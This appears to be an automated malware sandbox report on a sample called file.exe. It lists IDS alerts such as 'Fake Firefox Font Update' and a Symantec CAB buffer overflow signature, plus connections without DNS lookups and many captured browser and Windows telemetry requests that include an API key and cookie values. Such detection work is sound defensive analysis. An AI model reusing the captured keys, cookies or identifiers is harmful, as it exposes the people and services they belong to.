Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49893 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49895 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49898 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49900 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.8:49723
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.8:49841

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49833 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBFCC60 PR_Recv,

0_2_6CBFCC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6c7ZM87kbK1FEhL&MD=8OcbMNE9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /config/v1/Edge/117.0.2045.47?clientId=-5438092865908489856&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=5&mngd=0&installdate=1696493841&edu=&bphint=2&soobedate=1696493837&fg=1 HTTP/1.1Host: config.edge.skype.comConnection: keep-aliveIf-None-Match: "h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="Accept-Encoding: gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2DD296EDD8FB644F13F183DCD98E6569&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c79db82bc6ba4c91f7cf654ec5b478bb HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731075672839&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a64231390e1f474ea5727bf3a8d188dd&activityId=a64231390e1f474ea5727bf3a8d188dd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731075672840&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DD296EDD8FB644F13F183DCD98E6569&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731075672840&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DD296EDD8FB644F13F183DCD98E6569&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1CDb969274606314f413a0f1731075674; XID=1CDb969274606314f413a0f1731075674
